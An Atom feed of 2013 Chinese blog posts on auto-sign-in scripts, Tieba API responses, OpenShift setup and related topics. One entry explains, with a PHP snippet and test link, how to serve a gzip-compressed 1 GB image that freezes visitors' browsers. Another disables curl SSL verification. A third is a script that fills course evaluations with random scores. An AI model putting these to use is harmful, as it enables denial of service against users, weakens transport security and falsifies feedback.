<p><div data-line="crayon-51a59c15c8805-3">3</div></p>
<p><div data-line="crayon-51a59c15c8805-4">4</div></p>
<p><div data-line="crayon-51a59c15c8805-5">5</div></p>
<p><div data-line="crayon-51a59c15c8805-6">6</div></p>
<p><div data-line="crayon-51a59c15c8805-7">7</div></p>
<p><div data-line="crayon-51a59c15c8805-8">8</div></p>
<p><div data-line="crayon-51a59c15c8805-9">9</div></p>
<p><div data-line="crayon-51a59c15c8805-10">10</div></p>
<p><div data-line="crayon-51a59c15c8805-11">11</div></p>
<p><div data-line="crayon-51a59c15c8805-12">12</div></p>
<p><div data-line="crayon-51a59c15c8805-13">13</div></p>
<p><div data-line="crayon-51a59c15c8805-14">14</div></p>
<p><div data-line="crayon-51a59c15c8805-15">15</div></p>
<p><div data-line="crayon-51a59c15c8805-16">16</div></p>
<p><div data-line="crayon-51a59c15c8805-17">17</div></p>
<p><div data-line="crayon-51a59c15c8805-18">18</div></p>
<p><div data-line="crayon-51a59c15c8805-19">19</div></p>
<p><div data-line="crayon-51a59c15c8805-20">20</div></p>
<p><div data-line="crayon-51a59c15c8805-21">21</div></p>
<p><div data-line="crayon-51a59c15c8805-22">22</div></p>
<p><div data-line="crayon-51a59c15c8805-23">23</div></p>
<p><div data-line="crayon-51a59c15c8805-24">24</div></p>
<p><div data-line="crayon-51a59c15c8805-25">25</div></p>
<p><div data-line="crayon-51a59c15c8805-26">26</div></p>
<p><div data-line="crayon-51a59c15c8805-27">27</div><br></p>
<p><td></td></p>
<p><div></div></p>
<p><div id="crayon-51a59c15c8805-1">{</div></p>
<p><div id="crayon-51a59c15c8805-2">    “no”:0,</div></p>
<p><div id="crayon-51a59c15c8805-3">    “error”:””,</div></p>
<p><div id="crayon-51a59c15c8805-4">    “data”:{</div></p>
<p><div id="crayon-51a59c15c8805-5">            “uinfo”:</div></p>
<p><div id="crayon-51a59c15c8805-6">                    {</div></p>
<p><div id="crayon-51a59c15c8805-7">                    “is_sign_in”:1,</div></p>
<p><div id="crayon-51a59c15c8805-8">                    “user_sign_rank”:79,</div></p>
<p><div id="crayon-51a59c15c8805-9">                    “sign_time”:1364794633,</div></p>
<p><div id="crayon-51a59c15c8805-10">                    “cont_sign_num”:1,</div></p>
<p><div id="crayon-51a59c15c8805-11">                    “cout_total_sing_num”:1</div></p>
<p><div id="crayon-51a59c15c8805-12">                    },</div></p>
<p><div id="crayon-51a59c15c8805-13">            “finfo”:{</div></p>
<p><div id="crayon-51a59c15c8805-14">            “forum_info”:</div></p>
<p><div id="crayon-51a59c15c8805-15">                        {</div></p>
<p><div id="crayon-51a59c15c8805-16">                        “forum_id”:975822,</div></p>
<p><div id="crayon-51a59c15c8805-17">                        “forum_name”:””,</div></p>
<p><div id="crayon-51a59c15c8805-18">                        “level_1_dir_name”:”\u53f0\u6e7e\u7535\u89c6\u5267”</div></p>
<p><div id="crayon-51a59c15c8805-19">                        },</div></p>
<p><div id="crayon-51a59c15c8805-20">            “current_rank_info”:{</div></p>
<p><div id="crayon-51a59c15c8805-21">                                “sign_count”:79</div></p>
<p><div id="crayon-51a59c15c8805-22">                                },</div></p>
<p><div id="crayon-51a59c15c8805-23">            “level_1_dir_name”:”\u7535\u89c6\u5267”,</div></p>
<p><div id="crayon-51a59c15c8805-24">            “level_2_dir_name”:”\u53f0\u6e7e\u7535\u89c6\u5267”</div></p>
<p><div id="crayon-51a59c15c8805-25">            },</div></p>
<p><div id="crayon-51a59c15c8805-26">    “sign_version”:1}</div></p>
<p><div id="crayon-51a59c15c8805-27">}</div><br><br><br><br><br><br><br>最主要的是no这个参数，如果是0则签到成功，其他代码就是不成功。然后是data.uinfo的内容，is_sign_in：今天是否签到，user_sign_rank：用户签到排名，sign_time：签到时间（这是UNIX标准时间，需要转换），cont_sign_num：连续签到天数，cout_total_sing_num：本月签到天数。其它根据字面意思都挺好理解的。由于这里用的是unicode编码，所以其中的中文需要转码才能正常显示。</p>
<p>接下来是签到失败的其中一种返回内容：</p>
<p><div id="crayon-51a59c15c883f" data-settings=" minimize scroll-mouseover wrap"></div></p>
<p><div></div></p>
<p><div></div></p>
<p><table></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td data-settings="show"></td></p>
<p><div></div></p>
<p><div data-line="crayon-51a59c15c883f-1">1</div></p>
<p><div data-line="crayon-51a59c15c883f-2">2</div></p>
<p><div data-line="crayon-51a59c15c883f-3">3</div></p>
<p><div data-line="crayon-51a59c15c883f-4">4</div></p>
<p><div data-line="crayon-51a59c15c883f-5">5</div><br></p>
<p><td></td></p>
<p><div></div></p>
<p><div id="crayon-51a59c15c883f-1">{</div></p>
<p><div id="crayon-51a59c15c883f-2">    “no”:1012,</div></p>
<p><div id="crayon-51a59c15c883f-3">    “error”:”\u670d\u52a1\u5668\u6253\u778c\u7761\u4e86\uff0c\u518d\u7b7e\u4e00\u6b21\u6572\u9192\u5b83”,</div></p>
<p><div id="crayon-51a59c15c883f-4">    “data”:””</div></p>
<p><div id="crayon-51a59c15c883f-5">}</div><br><br><br><br><br><br><br>显然这里no是错误代码，至于error里面的内容就是告诉你失败的原因，比如说：签到速度太快，今天已经签到等。</p>
<p>最后来说一下如何去获取用户的“我喜欢的贴吧”列表。我们平时可以从“我的i贴吧”这个页面去获取我喜欢的贴吧列表，其实它们都是以json的格式放在这个页面的代码里面。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/165120M0c.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/165120M0c.png" alt="4"></a></p>
<p>这里一堆数据看似杂乱无章，但是只要稍微Tab几下，就会看出来这是每个贴吧的详细信息。这里我把其中一两个贴出来：</p>
<p><div id="crayon-51a59c15c8879" data-settings=" minimize scroll-mouseover wrap"></div></p>
<p><div></div></p>
<p><div></div></p>
<p><table></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td data-settings="show"></td></p>
<p><div></div></p>
<p><div data-line="crayon-51a59c15c8879-1">1</div></p>
<p><div data-line="crayon-51a59c15c8879-2">2</div></p>
<p><div data-line="crayon-51a59c15c8879-3">3</div></p>
<p><div data-line="crayon-51a59c15c8879-4">4</div></p>
<p><div data-line="crayon-51a59c15c8879-5">5</div></p>
<p><div data-line="crayon-51a59c15c8879-6">6</div></p>
<p><div data-line="crayon-51a59c15c8879-7">7</div></p>
<p><div data-line="crayon-51a59c15c8879-8">8</div></p>
<p><div data-line="crayon-51a59c15c8879-9">9</div></p>
<p><div data-line="crayon-51a59c15c8879-10">10</div></p>
<p><div data-line="crayon-51a59c15c8879-11">11</div></p>
<p><div data-line="crayon-51a59c15c8879-12">12</div></p>
<p><div data-line="crayon-51a59c15c8879-13">13</div></p>
<p><div data-line="crayon-51a59c15c8879-14">14</div></p>
<p><div data-line="crayon-51a59c15c8879-15">15</div></p>
<p><div data-line="crayon-51a59c15c8879-16">16</div></p>
<p><div data-line="crayon-51a59c15c8879-17">17</div></p>
<p><div data-line="crayon-51a59c15c8879-18">18</div></p>
<p><div data-line="crayon-51a59c15c8879-19">19</div></p>
<p><div data-line="crayon-51a59c15c8879-20">20</div></p>
<p><div data-line="crayon-51a59c15c8879-21">21</div></p>
<p><div data-line="crayon-51a59c15c8879-22">22</div></p>
<p><div data-line="crayon-51a59c15c8879-23">23</div></p>
<p><div data-line="crayon-51a59c15c8879-24">24</div></p>
<p><div data-line="crayon-51a59c15c8879-25">25</div></p>
<p><div data-line="crayon-51a59c15c8879-26">26</div></p>
<p><div data-line="crayon-51a59c15c8879-27">27</div></p>
<p><div data-line="crayon-51a59c15c8879-28">28</div></p>
<p><div data-line="crayon-51a59c15c8879-29">29</div></p>
<p><div data-line="crayon-51a59c15c8879-30">30</div></p>
<p><div data-line="crayon-51a59c15c8879-31">31</div></p>
<p><div data-line="crayon-51a59c15c8879-32">32</div></p>
<p><div data-line="crayon-51a59c15c8879-33">33</div></p>
<p><div data-line="crayon-51a59c15c8879-34">34</div></p>
<p><div data-line="crayon-51a59c15c8879-35">35</div></p>
<p><div data-line="crayon-51a59c15c8879-36">36</div></p>
<p><div data-line="crayon-51a59c15c8879-37">37</div></p>
<p><div data-line="crayon-51a59c15c8879-38">38</div></p>
<p><div data-line="crayon-51a59c15c8879-39">39</div></p>
<p><div data-line="crayon-51a59c15c8879-40">40</div></p>
<p><div data-line="crayon-51a59c15c8879-41">41</div></p>
<p><div data-line="crayon-51a59c15c8879-42">42</div></p>
<p><div data-line="crayon-51a59c15c8879-43">43</div></p>
<p><div data-line="crayon-51a59c15c8879-44">44</div><br></p>
<p><td></td></p>
<p><div></div></p>
<p><div id="crayon-51a59c15c8879-1">{</div></p>
<p><div id="crayon-51a59c15c8879-2">    ‘is_manager’: False,</div></p>
<p><div id="crayon-51a59c15c8879-3">    ‘id’: 0,</div></p>
<p><div id="crayon-51a59c15c8879-4">    ‘favo_type’: ‘favo’,</div></p>
<p><div id="crayon-51a59c15c8879-5">    ‘url’: ‘/f?kw=dota2’,</div></p>
<p><div id="crayon-51a59c15c8879-6">    ‘feed_item_balv’:</div></p>
<p><div id="crayon-51a59c15c8879-7">                    {</div></p>
<p><div id="crayon-51a59c15c8879-8">                        ‘is_sign’: 1,</div></p>
<p><div id="crayon-51a59c15c8879-9">                        ‘is_black’: 0,</div></p>
<p><div id="crayon-51a59c15c8879-10">                        ‘forum_name’: ‘dota2’,</div></p>
<p><div id="crayon-51a59c15c8879-11">                        ‘score_left’: 26,</div></p>
<p><div id="crayon-51a59c15c8879-12">                        ‘level_name’: ‘放码过来’,</div></p>
<p><div id="crayon-51a59c15c8879-13">                        ‘user_id’: 19557521,</div></p>
<p><div id="crayon-51a59c15c8879-14">                        ‘is_like’: 1,</div></p>
<p><div id="crayon-51a59c15c8879-15">                        ‘level_id’: 7,</div></p>
<p><div id="crayon-51a59c15c8879-16">                        ‘cur_score’: 474,</div></p>
<p><div id="crayon-51a59c15c8879-17">                        ‘forum_id’: 1627732</div></p>
<p><div id="crayon-51a59c15c8879-18">                    },</div></p>
<p><div id="crayon-51a59c15c8879-19">    ‘new_feeds_num’: 0,</div></p>
<p><div id="crayon-51a59c15c8879-20">    ‘name’: ‘dota2’,</div></p>
<p><div id="crayon-51a59c15c8879-21">    ‘isCustomer’: 0</div></p>
<p><div id="crayon-51a59c15c8879-22">},</div></p>
<p><div id="crayon-51a59c15c8879-23">{</div></p>
<p><div id="crayon-51a59c15c8879-24">    ‘is_manager’: False,</div></p>
<p><div id="crayon-51a59c15c8879-25">    ‘id’: 0,</div></p>
<p><div id="crayon-51a59c15c8879-26">    ‘favo_type’: ‘favo’,</div></p>
<p><div id="crayon-51a59c15c8879-27">    ‘url’: ‘/f?kw=%CD%F5%D0%C4%C1%E8’,</div></p>
<p><div id="crayon-51a59c15c8879-28">    ‘feed_item_balv’:</div></p>
<p><div id="crayon-51a59c15c8879-29">                    {</div></p>
<p><div id="crayon-51a59c15c8879-30">                        ‘is_sign’: 1,</div></p>
<p><div id="crayon-51a59c15c8879-31">                        ‘is_black’: 0,</div></p>
<p><div id="crayon-51a59c15c8879-32">                        ‘forum_name’: ‘王心凌’,</div></p>
<p><div id="crayon-51a59c15c8879-33">                        ‘score_left’: 11,</div></p>
<p><div id="crayon-51a59c15c8879-34">                        ‘level_name’: ‘凌宝贝’,</div></p>
<p><div id="crayon-51a59c15c8879-35">                        ‘user_id’: 19557521,</div></p>
<p><div id="crayon-51a59c15c8879-36">                        ‘is_like’: 1,</div></p>
<p><div id="crayon-51a59c15c8879-37">                        ‘level_id’: 4,</div></p>
<p><div id="crayon-51a59c15c8879-38">                        ‘cur_score’: 39,</div></p>
<p><div id="crayon-51a59c15c8879-39">                        ‘forum_id’: 28931</div></p>
<p><div id="crayon-51a59c15c8879-40">                    },</div></p>
<p><div id="crayon-51a59c15c8879-41">    ‘new_feeds_num’: 0,</div></p>
<p><div id="crayon-51a59c15c8879-42">    ‘name’: ‘王心凌’,</div></p>
<p><div id="crayon-51a59c15c8879-43">    ‘isCustomer’: 0</div></p>
<p><div id="crayon-51a59c15c8879-44">},</div><br><br><br><br><br><br><br>每一个子块里面的name就是贴吧的名字了，这里面还有很多有用的信息，大家就多多挖掘吧~</p>
<p>基本上要获取的信息就是这些了，今天就先写到这，是时候去碎觉了~</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>前面一个是分析工具的使用。</p>
<p>由于签到器利用的是模拟浏览器发送http请求，所以第一步肯定是去了解一下每个步骤都要提交什么参数，用的是post还是get方法，返回给用户的又是什么内容。</p>
<p>这里我用的是FireFox + HTTP Header，这个插]]>
    </summary>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[做百度贴吧签到遇到malformed的问题]]></title>
    <link href="http://doubles.me/2013/05/29/664/"/>
    <id>http://doubles.me/2013/05/29/664/</id>
    <published>2013-05-29T13:31:12.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>花了我一天时间啊，到处去问也没有一个回答的。</p>
<p>开始是post username 和password不成功，一直返回的false。</p>
<p>var_dump(curl_error($ch));看到错误是 malformed，也就是错误的数据嘛。我百度了很久，</p>
<p>我以为是编码的问题，先后使用了 urlencode（），http_build_query($data)，等</p>
<p>urlencode 是把中文编码一下再发送，这个基本都有吧。</p>
<p>http_build_query()这个是将一个array 连成一个字符串，curl 使用curl_setopt_array()设置参数的时候是传递一个array进去的，但是，我们post数据的时候，如果是array post过去的话，会变成multipart/form-data，如果传进去的是字符串header 就是Content-Type: application/x-www-form-urlencoded，所以将data处理一下很有必要。我以为就这样解决了，但是。。。</p>
<p>继续看，想了很久，也没看出什么问题来，然后使用<a href="http://的就能成功，使用https的就出错，就是这个问题了。" target="_blank" rel="external">http://的就能成功，使用https的就出错，就是这个问题了。</a></p>
<p>curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0); // 对认证证书来源的检查<br>curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0); // 从证书中检查SSL加密算法是否存在</p>
<p>这样设置一下就能对https进行get和post了。</p>
<p>过程实在是无比艰辛，知道的太少了，o(︶︿︶)o 唉。。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>花了我一天时间啊，到处去问也没有一个回答的。</p>
<p>开始是post username 和password不成功，一直返回的false。</p>
<p>var_dump(curl_error($ch));看到错误是 malformed，也就是错误的数据嘛。我百度了很久]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="自动登入" scheme="http://doubles.me/tags/%E8%87%AA%E5%8A%A8%E7%99%BB%E5%85%A5/"/>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[快盘自动签到]]></title>
    <link href="http://doubles.me/2013/05/28/659/"/>
    <id>http://doubles.me/2013/05/28/659/</id>
    <published>2013-05-28T13:46:09.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>抓包过程不讲了，直接贴代码。github上有个类似代码，直接借鉴一下</p>
<p>mycurl就是curl，自己实现一下get和post就行。这个做完了会把代码分享出来。</p>
<p>下一步是做贴吧自动签到</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/05/QQ20130529004631.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/05/QQ20130529004631.png" alt="QQ20130529004631"></a><br>`<br>&lt;?php<br>/**</p>
<ul>
<li>快盘签到</li>
<li>@author 双人份 &lt;fjjwlzd@163.com&gt;<br>*/<br>require_once “MyCurl.php”;`</li>
</ul>
<p>class KuaiPan<br>{</p>
<p>protected $curl;<br>//用户名和密码<br>protected $username;<br>protected $password;<br>//登录 URL<br>private $loginUrl = ‘<a href="http://www.kuaipan.cn/home.htm" target="_blank" rel="external">http://www.kuaipan.cn/home.htm</a>‘;<br>private $postUrl = ‘<a href="https://www.kuaipan.cn/index.php?ac=account&amp;op=login" target="_blank" rel="external">https://www.kuaipan.cn/index.php?ac=account&amp;op=login</a>‘;</p>
<p>//签到 URL<br>private $signUrl = ‘<a href="http://www.kuaipan.cn/index.php?ac=common&amp;op=usersign" target="_blank" rel="external">http://www.kuaipan.cn/index.php?ac=common&amp;op=usersign</a>‘;</p>
<p>//空间信息<br>private $spaceUrl = ‘<a href="http://www.kuaipan.cn/index.php?ac=home&amp;op=space" target="_blank" rel="external">http://www.kuaipan.cn/index.php?ac=home&amp;op=space</a>‘;</p>
<p>//用户信息<br>private $userInfoUrl = ‘<a href="http://www.kuaipan.cn/index.php?ac=home&amp;op=userinfo" target="_blank" rel="external">http://www.kuaipan.cn/index.php?ac=home&amp;op=userinfo</a>‘;</p>
<p>/**</p>
<ul>
<li>初始化配置信息</li>
<li>@param string $username</li>
<li>@param string $password</li>
<li>@return void<br>*/<br>public function init($username, $password)<br>{<br>$this-&gt;username = $username;<br>$this-&gt;password = $password;<br>$this-&gt;curl = new MyCurl();<br>}</li>
</ul>
<p>/**</p>
<ul>
<li>登入<br>*/<br>public function login()<br>{<br>$this-&gt;curl-&gt;get($this-&gt;loginUrl);//获取 cookie<br>$data = array(<br>‘username’=&gt;$this-&gt;username,<br>‘userpwd’=&gt;$this-&gt;password,<br>‘isajax’=&gt;’yes’,<br>‘rememberme’=&gt;1<br>);</li>
</ul>
<p>$loginResp = $this-&gt;curl-&gt;post($this-&gt;postUrl, $data);<br>$loginResp = json_decode($loginResp);</p>
<p>echo “&lt;pre&gt;”;<br>var_dump(json_decode($this-&gt;curl-&gt;get($this-&gt;userInfoUrl)));<br>var_dump(json_decode($this-&gt;curl-&gt;get($this-&gt;spaceUrl)));</p>
<p>var_dump($loginResp);<br>echo “&lt;/pre&gt;”;<br>}<br>/**</p>
<ul>
<li>签到方法<br>*/<br>public function sign()<br>{<br>$signResp = $this-&gt;curl-&gt;get($this-&gt;signUrl);<br>$signResp = json_decode($signResp);<br>$state = null;<br>if(isset($signResp-&gt;state))<br>$state = $signResp-&gt;state;<br>switch ($state)<br>{<br>case ‘-102’:<br>echo ‘已经签过了！’;<br>break;<br>case ‘1’:<br>echo ‘签到成功！ 获得空间：’.$signResp-&gt;rewardsize.’M’;<br>break;<br>default:<br>break;<br>}<br>}<br>}<br>?&gt;</li>
</ul>
]]></content>
    <summary type="html">
    <![CDATA[<p>抓包过程不讲了，直接贴代码。github上有个类似代码，直接借鉴一下</p>
<p>mycurl就是curl，自己实现一下get和post就行。这个做完了会把代码分享出来。</p>
<p>下一步是做贴吧自动签到</p>
<p><a href="http://7xnueu.c]]>
    </summary>
    
      <category term="自动登入" scheme="http://doubles.me/tags/%E8%87%AA%E5%8A%A8%E7%99%BB%E5%85%A5/"/>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[思路太好了，一张图片让所有浏览器未响应]]></title>
    <link href="http://doubles.me/2013/05/24/650/"/>
    <id>http://doubles.me/2013/05/24/650/</id>
    <published>2013-05-24T07:22:57.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<h1 id="一张图片让所有浏览器未响应"><a href="#一张图片让所有浏览器未响应" class="headerlink" title="一张图片让所有浏览器未响应"></a>一张图片让所有浏览器未响应</h1><div><br><br><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/102328ptX.png" title="79086246020121126" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/102328ptX.png" alt="79086246020121126" title="79086246020121126"></a><br><br>你可能要问，一张图片怎么可能会导致整个浏览器无法响应呢，如果你不相信就自己来这个链接试一试吧，整个页面中真的只有一张图片哦。相信你在试过之后的确是发现了浏览器要么就是无法响应，或者是整个系统都卡住了，计算机性能好的可能会出现卡顿的情况，这个到底是为什么呢，今天我们就来讲解一下怎样利用 Gzip 创建一张冗大的 1G 的图片让浏览器未响应吧。<br><br>&nbsp;<br><br>首先补充一下知识：Gzip 是一种在网站当中常用的一种技术，他可以将网页压缩到只有原来的百分之 70% 左右。如果一个字符串“10000000000”使用压缩技术压缩之后，他就会变为“1+10<em>0”这样，这样字符串的长度和大小就变短了。那么，如果一个 1G 左右的图片被压缩了之后，只有 2M 多，然后发送到客户端之后再解压，客户端无法承受那么大的文件，自然就未响应了。<br><br>这个其实已经不是新鲜的东西，要让浏览器无法响应还是要几个要求的：1.图片够大、2.传送的速度够快。就像我提供的链接，因为传送的速度不是很快，所以要很久才会出现未响应的状况。<br><br><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/1023308w0.png" title="58357946720121126" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/1023308w0.png" alt="58357946720121126" title="58357946720121126"></a><br><br>我们先挑选一张不是很大 普通图片。<br><br><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/102331Kxp.png" title="128816471120121126" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/102331Kxp.png" alt="128816471120121126" title="128816471120121126"></a><br><br>&nbsp;<br><br>使用 16 进制编辑器不断在文件末尾添加 0，让他变成具有很多 0 字符的冗长的一张 1G 的图片。<br><br><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/102333Lio.png" title="89868126020121126" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/102333Lio.png" alt="89868126020121126" title="89868126020121126"></a><br><br>因为文件中大部分的字符串全部都是 0，所以压缩之后冗长的 0 被压缩到只有 2M 的大小。现在我们只要将这个 Gzip 文件<strong>以极快的速度发送到浏览器</strong>并且解压，浏览器就会未响应了。<br><br>&nbsp;<br><div id="crayon-519afed9abfd7" data-settings=" minimize scroll-mouseover"><br><br>&nbsp;<br><div><br><table><br><tbody><br><tr><br><td data-settings="show"></td><br><td><br><div><br><br>&lt;?php<br><br>header(“Content-Encoding: gzip”);<br><br>echo file_get_contents(“img.png.gz”);<br><br>?&gt;<br><br></div></td><br></tr><br></tbody><br></table><br></div><br></div><br>&nbsp;<br><br>仅仅是有压缩文件是不行的，我们还需要一个文件来告诉浏览器这个是一个压缩文件，你需要解压，一般主流的浏览器都是支持 Gzip 压缩的了，在上面的代码中，我们告诉浏览器这个是经过 Gzip 压缩的，然后加载并输出制作的压缩文件。在这里，主机输出的数据流只有压缩包的 2M，但是到了客户端浏览器，数据被解压之后就到达了 1.63G 的大小。<br><br>最后我们只需要用 img 标签在论坛或者是其他页面中插入这个页面就可以了，图片仍然是可以正常显示的，但是当数据全部加载完成，或者是数据加载超出 CPU 的负载之后，浏览器便出现了未响应的状态。<br><br>这个其实没有什么实际的用处，<em>*也请你不要去做不应该做的事情</em></em>，要构成浏览器未响应的要求首先就是文件传送的速度够快，如果你的主机要半天才能够加载这张图片，那么浏览器也要半天才能未响应了。<br><br><a href="http://1.theimgrongchang.duapp.com/" target="_blank" rel="external">点击此处进入测试页面
</a><br><br></div>]]></content>
    <summary type="html">
    <![CDATA[<h1 id="一张图片让所有浏览器未响应"><a href="#一张图片让所有浏览器未响应" class="headerlink" title="一张图片让所有浏览器未响应"></a>一张图片让所有浏览器未响应</h1><div><br><br><a href="http://]]>
    </summary>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[一键评教]]></title>
    <link href="http://doubles.me/2013/05/22/646/"/>
    <id>http://doubles.me/2013/05/22/646/</id>
    <published>2013-05-22T14:06:52.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>哎，前面的文章已经出卖我是哪里的了，这里也就无所谓了。</p>
<p>油猴脚本，实现的一键评教。</p>
<p><a href="http://userscripts.org/scripts/review/168166" target="_blank" rel="external">http://userscripts.org/scripts/review/168166</a></p>
<p>&nbsp;</p>
<p>分析了评教的页面，就是调用了个onsubmit的函数，然后进入评教页面，然后填入分数神马的，再submit一个表单。</p>
<pre id="source">$("input[type='submit']").trigger("click");  自动提交，做个判断，然后执行onclick函数，跳转之后设置随机分数，然后再度提交。。。。懒得写那么多了，就这样把！

</pre>
<pre id="source">// ==UserScript==
// @name      JiangCai Teaching Evaluation
// @namespace  http://dlinux.sinaapp.com
// @include        http://portal7.jxufe.edu.cn/portal/main.xsp/page/-1/?.a.p=aT0lMkZ4Znpwb3J0YWwlMkZwZ25ldyZ0PXImcz1ub3JtYWwmZXM9ZGV0YWNoJm09dmlldw%3D%3D&amp;mlinkf=pg%2Fpg.jsp
// @version    0.1
// @description  江财一键评教  请从这个地址登入 http://portal7.jxufe.edu.cn
// @match      
// @copyright  2013+,双人份,fjjwlzd@163.com
// @require     http://code.jquery.com/jquery-1.9.1.min.js
// ==/UserScript==

//随机80几分
var rs =function(){
   return parseInt(Math.random()*10+80);
}

$("input[name='teachattitude']").val(rs);
$("input[name='teachmethod']").val(rs);
$("input[name='teacheffect']").val(rs);
$("input[name='teachcontent']").val(rs);
$("input[name='coursepleased']").val(rs);
$("input[name='teachjc']").val(rs);

$("textarea[name='stmemo']").val("十分不错");
$("textarea[name='jcmemo']").val("不喜欢这种的教程");
$("textarea[name='coursememo']").val("不是很想在这个时候上，应该早一年");

//$("input[type='submit']").trigger("click");   //自动点击？还是自己修改一番把</pre>]]></content>
    <summary type="html">
    <![CDATA[<p>哎，前面的文章已经出卖我是哪里的了，这里也就无所谓了。</p>
<p>油猴脚本，实现的一键评教。</p>
<p><a href="http://userscripts.org/scripts/review/168166" target="_blank" rel="exter]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="javascript" scheme="http://doubles.me/tags/javascript/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[openshift部署python环境及端口问题]]></title>
    <link href="http://doubles.me/2013/05/12/643/"/>
    <id>http://doubles.me/2013/05/12/643/</id>
    <published>2013-05-12T18:41:37.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p><a href="https://github.com/openshift/openshift-diy-py27-django" target="_blank" rel="external">https://github.com/openshift/openshift-diy-py27-django</a></p>
<p>按照这个方式可以部署python2.7</p>
<p>Create a new OpenShift app:</p>
<ul>
<li><p><code>rhc app create -a &amp;lt;app_name&amp;gt; -t diy-0.1</code><br>Login to the application host using the credentials from the above command. It will look like<code>ssh://c8812345:123214@&amp;lt;app_name&amp;gt;-namespace.rhcloud.com</code>:</p>
</li>
<li><p><code>ssh c8812345:123214@&amp;lt;app_name&amp;gt;-namespace.rhcloud.com</code><br>Change into the application tmp directory:</p>
</li>
<li><p><code>cd $OPENSHIFT_TMP_DIR</code><br>Download Python2.7 and extract:</p>
</li>
<li><p><code>wget http://python.org/ftp/python/2.7.3/Python-2.7.3.tar.bz2</code></p>
</li>
<li><p><code>tar jxf Python-2.7.3.tar.bz2</code><br>Build and install Python</p>
</li>
<li><p><code>./configure --prefix=$OPENSHIFT_DATA_DIR</code></p>
</li>
<li><p><code>make ; make install</code><br>Export new Python path for later configuration (you will need to run this if you logout, etc.):</p>
</li>
<li><p><code>export PATH=$OPENSHIFT_DATA_DIR/bin:$PATH</code><br>Check that new Python is used (should be <code>Python 2.7.3</code>):</p>
</li>
<li><p><code>python -V</code><br>Install setuptools and pip</p>
</li>
<li><p><code>cd $OPENSHIFT_TMP_DIR</code></p>
</li>
<li><code>wget http://pypi.python.org/packages/source/s/setuptools/setuptools-0.6c11.tar.gz</code></li>
<li><code>tar zxf setuptools-0.6c11.tar.gz</code></li>
<li><code>cd setuptools-0.6c11</code></li>
<li><code>python setup.py install</code></li>
<li><code>cd $OPENSHIFT_TMP_DIR</code></li>
<li><code>wget http://pypi.python.org/packages/source/p/pip/pip-1.1.tar.gz</code></li>
<li><code>tar zxf pip-1.1.tar.gz</code></li>
<li><code>cd pip-1.1</code></li>
<li><code>python setup.py install</code><br>端口绑定的问题</li>
</ul>
<p>openshift 不是每个端口都可以对外的。大部分你熟悉的端口都已经<a href="https://openshift.redhat.com/community/kb/kb-e1038-i-cant-bind-to-a-port" target="_blank" rel="external">在内外两边都为官方应用保留了</a>，内部你只可以用 15000 – 35530，对外只可以 bind 到 ${OPENSHIFT_INTERNAL_PORT} 也就是 8080，会通过 80 端口转发给外部。</p>
<p>&nbsp;</p>
<p>使用 $ rhc port-forward -a applicationName 则可以将端口转发到本地</p>
]]></content>
    <summary type="html">
    <![CDATA[<p><a href="https://github.com/openshift/openshift-diy-py27-django" target="_blank" rel="external">https://github.com/openshift/openshift-di]]>
    </summary>
    
      <category term="LinuX" scheme="http://doubles.me/categories/LinuX/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Android应用编程之Override错误]]></title>
    <link href="http://doubles.me/2013/05/11/642/"/>
    <id>http://doubles.me/2013/05/11/642/</id>
    <published>2013-05-11T13:35:25.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p><strong>i一、java @override 报错处理</strong></p>
<p>有时候在自己电脑上编译通过的java代码，在别人那里却编译不通过，总是@override报错，把@override去掉就好了，但不能从根本上解决问题。</p>
